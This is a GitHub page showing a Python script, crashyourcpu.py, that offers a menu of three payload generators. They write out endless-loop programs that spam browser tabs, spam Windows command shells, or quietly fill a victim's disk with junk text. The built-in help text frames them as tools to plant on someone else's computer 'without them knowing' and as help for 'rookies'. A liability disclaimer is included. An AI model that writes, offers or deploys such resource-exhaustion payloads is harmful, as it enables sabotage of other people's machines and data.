-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcrashyourcpu.py
More file actions
86 lines (76 loc) · 3.7 KB
/
crashyourcpu.py
File metadata and controls
86 lines (76 loc) · 3.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import sys,os,webbrowser,subprocess,time
def main():
print("The author is not responsible for any damage or harm caused by the usage of this software. Recommended usage in a Virtual Environment.")
print("Starting")
time.sleep(5)
choice = input("""
1.Webcrasher will make loads of tabs open and overload the cpu.(any platform)
2.CMD opener this will spam open cmd therefore crashing their computer.(windows only)
3.Drain someones storage without them knowing(any platform)
4.What these payloads do
Enter your choice: """)
if choice == "1":
webcrasher()
elif choice == "2":
cmd()
elif choice == "3":
storagedrainer()
elif choice == "4":
help()
else:
print("Enter a valid choice")
main()
def webcrasher():
try:
your_file = input("Enter the file you want to save the payload too it can also make a file so you can just type the directory of where you want the payload to be make it a py file text files are fine but you will have to change it to python aftewards to be able to run the payload ")
f = open(your_file,"a")
f.write("""import webbrowser
while True:
url = "https://www.google.com/"
webbrowser.open(url)""")
f.close()
print("Payload sent to",your_file)
print("Thanks for using this program")
main()
except IOError:
print("Enter a valid file")
webcrasher()
def cmd():
try:
print("Hello and welcome to cmd crasher guessing you want a cmd crashing payload you came to the right place")
cmd_file = input("Enter the file you want the payload sending too make sure too use py extension: ")
f = open(cmd_file, "a")
f.write("""import subprocess
while True:
subprocess.call('start',shell=True)""")
f.close()
print("Payload sent to",cmd_file)
main()
except IOError:
print("Enter a valid choice")
cmd()
def storagedrainer():
try:
print("Welcome to storage drainer this will make a file which you can put on the user's computer and then run and it will create a unknown file and start printing loads into it")
what_file = input("Where do you want to save this file: ")
f = open(what_file,"a")
f.write("""
while True:
f = open("j.txt","a")
f.write("#################################################################################@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@############################################################################################################################################################################################################################################################################################################")
f.close()""")
print("Payload made saved to",what_file)
main()
except IOError:
print("Enter a valid choice")
storagedrainer()
def help():
print("""These payloads were made in python there not that hard to make but rookies may need help making them hence why I made this
The spam tab opener is a simple program which uses a while loop to open lots of google tabs pretty self explaintary.
The spam cmd is a windows only tool which opens the command shell on windows constantly until it is told to stop.
The most complex one out of the three the memory drainer this makes a file in the directory where the python file is so for example
if it was to be in documents on their computer it would make a file on documents and fill it with random text normally about 2mb per 2 seconds.
Meaning in a minute you have drained 120mb leave it on for 10 min that's 1.2gb you get what Im getting at.""")
time.sleep(20)
main()
main()